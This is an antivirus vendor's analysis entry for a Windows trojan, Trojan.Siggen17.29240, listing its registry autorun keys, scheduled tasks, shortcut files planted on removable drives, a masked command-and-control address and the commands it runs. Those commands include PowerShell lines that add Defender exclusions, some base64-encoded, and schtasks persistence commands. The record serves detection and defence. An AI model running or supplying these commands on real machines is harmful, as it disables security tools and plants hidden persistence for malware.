Trojan.Siggen17.29240

Добавлен в вирусную базу Dr.Web: 2022-03-24

Описание добавлено: 2022-03-26

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'winlogon' = '"%ProgramFiles%\ashMaiSv\winlogon.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ProgramFiles%\ashMaiSv\winlogon.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'WUDFHost' = '"%WINDIR%\twain_32\WUDFHost.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ProgramFiles%\ashMaiSv\winlogon.exe", "%WINDIR%\twain_32\WUDFHost.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'Idle' = '"C:\Far2\FExcept\Idle.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ProgramFiles%\ashMaiSv\winlogon.exe", "%WINDIR%\twain_32\WUDFHost.exe", "C:\Far2\FExcept\Idle.exe"'

Creates or modifies the following files

<SYSTEM32>\tasks\ivmvwinlogon
<SYSTEM32>\tasks\0v6lwinlogon
<SYSTEM32>\tasks\2vmfwinlogon
<SYSTEM32>\tasks\winlogon
<SYSTEM32>\tasks\td1uwudfhost
<SYSTEM32>\tasks\wudfhost
<SYSTEM32>\tasks\yk8bwudfhost
<SYSTEM32>\tasks\k1lewudfhost
<SYSTEM32>\tasks\pzdgidle
<SYSTEM32>\tasks\ub7ridle
<SYSTEM32>\tasks\yjukidle
<SYSTEM32>\tasks\idle
<SYSTEM32>\tasks\services32

Creates the following files on removable media

<Drive name for removable media>:\09aa4249cbb60b00db3c9be3c4e8a822.exe
<Drive name for removable media>:\thlps_keeper_mayer_1965.lnk
<Drive name for removable media>:\dotnetfx45_full_setup.lnk
<Drive name for removable media>:\jre-7u75-windows-i586-iftw.lnk
<Drive name for removable media>:\calc.lnk
<Drive name for removable media>:\alert.lnk
<Drive name for removable media>:\tree_view.lnk
<Drive name for removable media>:\nwfieldnotes1966.lnk
<Drive name for removable media>:\file_p_00000000_1371597592.lnk
<Drive name for removable media>:\advice_process.lnk
<Drive name for removable media>:\about.lnk
<Drive name for removable media>:\adadsi.lnk
<Drive name for removable media>:\howto-index.lnk
<Drive name for removable media>:\ituneshelpunavailable.lnk
<Drive name for removable media>:\trivial-merge.lnk
<Drive name for removable media>:\pushkin.lnk
<Drive name for removable media>:\browse.lnk
<Drive name for removable media>:\garden.lnk
<Drive name for removable media>:\holycrosschurchinstructions.lnk
<Drive name for removable media>:\glidescope_review_rev_010.lnk
<Drive name for removable media>:\issi2013_template_for_posters.lnk
<Drive name for removable media>:\000814251_video_01.lnk
<Drive name for removable media>:\join.lnk
<Drive name for removable media>:\delete.lnk
<Drive name for removable media>:\default.lnk
<Drive name for removable media>:\dashborder_120.lnk
<Drive name for removable media>:\dashborder_96.lnk
<Drive name for removable media>:\dashborder_144.lnk
<Drive name for removable media>:\correct.lnk
<Drive name for removable media>:\coffee.lnk
<Drive name for removable media>:\testcertificate.lnk
<Drive name for removable media>:\pmd.lnk
<Drive name for removable media>:\hanni_umami_chapter.lnk
<Drive name for removable media>:\fi51.lnk
<Drive name for removable media>:\applicantform_en.lnk
<Drive name for removable media>:\ovp25012015.lnk
<Drive name for removable media>:\508softwareandos.lnk
<Drive name for removable media>:\contosoroot.lnk
<Drive name for removable media>:\region-north-karelia.lnk
<Drive name for removable media>:\3.lnk

Modifies file system

Creates the following files

%TEMP%\vm_fontreviewmonitordllrefsvc.exe
%APPDATA%\conhost_rs.exe
%TEMP%\voicemodsetup.exe
%TEMP%\is-3uo2o.tmp\voicemodsetup.tmp
%TEMP%\is-ashsm.tmp\_isetup\_setup64.tmp
%TEMP%\is-ashsm.tmp\idp.dll
%ProgramFiles%\ashmaisv\winlogon.exe
%ProgramFiles%\ashmaisv\cc11b995f2a76d
%WINDIR%\twain_32\wudfhost.exe
%WINDIR%\twain_32\480b7989c529f6
C:\far2\fexcept\idle.exe
C:\far2\fexcept\6ccacd8608530f
%HOMEPATH%\windows\services32.exe

Sets the 'hidden' attribute to the following files

<Drive name for removable media>:\09aa4249cbb60b00db3c9be3c4e8a822.exe

Deletes the following files

<Drive name for removable media>:\alert.lnk
<Drive name for removable media>:\region-north-karelia.lnk
<Drive name for removable media>:\3.lnk

Network activity

Connects to

'18#.#20.229.5':80

TCP

HTTP GET requests

http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?vv########################################################################################################################################...
http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?I0########################################################################################################################################...

Miscellaneous

Creates and executes the following

'%TEMP%\vm_fontreviewmonitordllrefsvc.exe'
'%APPDATA%\conhost_rs.exe'
'%TEMP%\voicemodsetup.exe'
'%TEMP%\is-3uo2o.tmp\voicemodsetup.tmp' /SL5="$E0218,22991991,87040,%TEMP%\VoicemodSetup.exe"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\ashMaiSv\winlogon.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\FExcept\Idle.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%TEMP%\vm_fontreviewmonitordllrefsvc.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\twain_32\WUDFHost.exe'
'%WINDIR%\twain_32\wudfhost.exe'
'%HOMEPATH%\windows\services32.exe'
'%WINDIR%\twain_32\wudfhost.exe' ' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAH...
'<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "%HOMEPATH%\Windows\services32.exe"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
'<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc MINUTE /mo 5 /tr "'C:\Far2\FExcept\Idle.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "yJukIdle" /sc ONSTART /tr "'C:\Far2\FExcept\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "UB7RIdle" /sc ONLOGON /tr "'C:\Far2\FExcept\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "PzDGIdle" /sc MINUTE /mo 11 /tr "'C:\Far2\FExcept\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc MINUTE /mo 12 /tr "'%WINDIR%\twain_32\WUDFHost.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "YK8BWUDFHost" /sc ONSTART /tr "'%WINDIR%\twain_32\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "k1leWUDFHost" /sc ONLOGON /tr "'%WINDIR%\twain_32\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "TD1uWUDFHost" /sc MINUTE /mo 10 /tr "'%WINDIR%\twain_32\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc MINUTE /mo 7 /tr "'%ProgramFiles%\ashMaiSv\winlogon.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "2vMfwinlogon" /sc ONSTART /tr "'%ProgramFiles%\ashMaiSv\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "0V6Lwinlogon" /sc ONLOGON /tr "'%ProgramFiles%\ashMaiSv\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "iVMVwinlogon" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\ashMaiSv\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYA...
'<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "services32" /tr "%HOMEPATH%\Windows\services32.exe"
'<SYSTEM32>\cmd.exe' cmd /c "%HOMEPATH%\Windows\services32.exe"

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней